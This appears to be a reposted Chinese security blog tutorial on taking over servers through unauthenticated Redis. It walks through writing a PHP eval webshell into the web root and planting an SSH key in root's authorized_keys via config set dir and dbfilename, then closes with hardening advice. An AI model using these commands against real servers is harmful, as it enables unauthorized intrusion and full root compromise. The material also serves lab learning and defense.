Redis GetShell提权
安全
2021-11-29 14:03
声明:该文章来自(千阪'BLOG)版权由原作者所有,K2OS渲染引擎提供网页加速服务。
环境准备
目标机器:129.168.186.4
Kali 开启 SSH
配置 Redis
wget http://download.redis.io/releases/redis-3.2.11.tar.gz tar zxvf redis-3.2.11.tar.gz cd redis-3.2.11 cp redis.conf /etc/redis.conf make cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ vim /etc/redis.conf
去掉 ip 绑定,允许除本地外的主机远程登录 redis 服务 前面加 #注释掉
关闭保护模式,允许远程连接 redis 服务将 yes 改为 no启动redis
启动服务 redis-server /etc/redis.conf
常用命令
连接 Redis 服务器
redis-cli -h ipadd
MSF 下利用模块
auxiliary/scanner/redis/file_upload auxiliary/scanner/redis/redis_login auxiliary/scanner/redis/redis_server
GetShell 原理:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,我们可以将 dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,就可以写入一个路径为 a/b 的任意文件。
计划任务反弹 Shell
- 在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell
默认编写的 crontab 文件会保存在 (/var/spool/cron/ 用户名 例如: /var/spool/cron/root
crontab -l 列出某个用户 cron 服务的详细内容
crontab -r 删除每个用户 cront 任务 (谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的 crontab 文件
Web 目录写 Shell
- 当 redis 权限不高且服务器开着 web 服务
- redis 有 web 目录写权限
- 可以尝试往 web 路径写 webshell
redis-cli -h ip ip:6379> config set dir /var/www/html/ OK ip:6379> config set dbfilename shell.php OK ip:6379> set x "<?php @eval($_POST['shell']);?>" OK ip:6379> save OK
写 ssh-key 公钥获取权限
- Redis 服务使用 ROOT 账号启动
- 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
ssh-keygen -t rsa # 将公钥写入一个文件,内容前后要加两个换行 (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt # 将公钥放入目标服务器键`crackit`里面 cat key.txt | redis-cli -h 172.16.186.4 -x set crackit ip:6379> config set dir /root/.ssh/ OK ip:6379> config get dir 1) "dir" 2) "/root/.ssh" ip:6379> config set dbfilename authorized_keys OK ip.4:6379> save OK # 使用私钥连接 ➜ ssh -i id_rsa root@redis-ip
修复建议
- 禁止 Redis 服务对公网开放,可通过修改
redis.conf
配置文件中的#bind 127.0.0.1
,去掉前面的#
即可(Redis 本来就是作为内存数据库,只要监听在本机即可) - **设置密码访问认证,可通过修改
redis.conf
配置文件中的requirepass
设置复杂密码 ** - 重启 Redis 服务
- 对访问源 IP 进行访问控制,可在防火墙限定指定源 IP 才可以连接 Redis 服务器
- 保证 authorized_keys 文件的安全为了保证安全,您应该阻止其他用户添加新的公钥。
- 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限
chmod 400 ~/.ssh/authorized_keys
- 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置~./ssh 的 immutable 位权限:
chattr +i ~/.ssh
以低权限运行 Redis 服务(重启 redis 才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
排名
热点
搜索指数
- 1 习近平妙喻APEC合作 7975504
- 2 天舟八号发射任务圆满成功 7976410
- 3 教师指认猥亵现场坠亡 民警免予刑罚 7863162
- 4 中国对亚太经济增长贡献率达64.2% 7756278
- 5 德国连环强奸案告破 嫌犯系中国公民 7622188
- 6 俄媒:苏-57比中国歼-35更强 7513071
- 7 专家:本轮房价拐点全方位到来 7428952
- 8 上戏课堂偶遇林更新 7373448
- 9 俄罗斯开出停战先决条件 7254176
- 10 小行业潜藏“大能量” 7138931